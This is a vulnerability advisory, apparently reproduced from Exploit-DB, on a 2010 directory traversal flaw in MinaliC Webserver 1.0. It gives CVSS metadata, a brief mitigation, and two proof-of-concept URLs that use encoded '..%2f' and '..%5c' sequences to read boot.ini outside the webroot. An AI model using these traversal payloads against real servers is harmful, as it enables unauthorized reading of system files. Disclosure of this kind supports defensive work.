Directory Traversal in MinaliC Webserver 1.0

vendor:

MinaliC Webserver

by:

John Leitch

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: MinaliC Webserver

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:minalic:minalic_webserver:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP

2010

Directory Traversal in MinaliC Webserver 1.0

A directory traversal vulnerability in MinaliC Webserver 1.0 can be exploited to read files outside of the webroot directory. The exploit uses the '..%2f' and '..%5c' strings to traverse the directory structure.

Mitigation:

Ensure that the web server is configured to only serve files from the webroot directory and that all user input is properly sanitized.

Source

Exploit-DB raw data:

------------------------------------------------------------------------
Software................MinaliC Webserver 1.0
Vulnerability...........Directory Traversal
Download................http://sourceforge.net/projects/minalic/
Release Date............10/24/2010
Tested On...............Windows XP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--
A directory traversal vulnerability in MinaliC Webserver 1.0 can be
exploited to read files outside of the webroot directory.


--Exploit--
..%2f
..%5c


--PoC--
http://localhost:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://localhost:8080/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini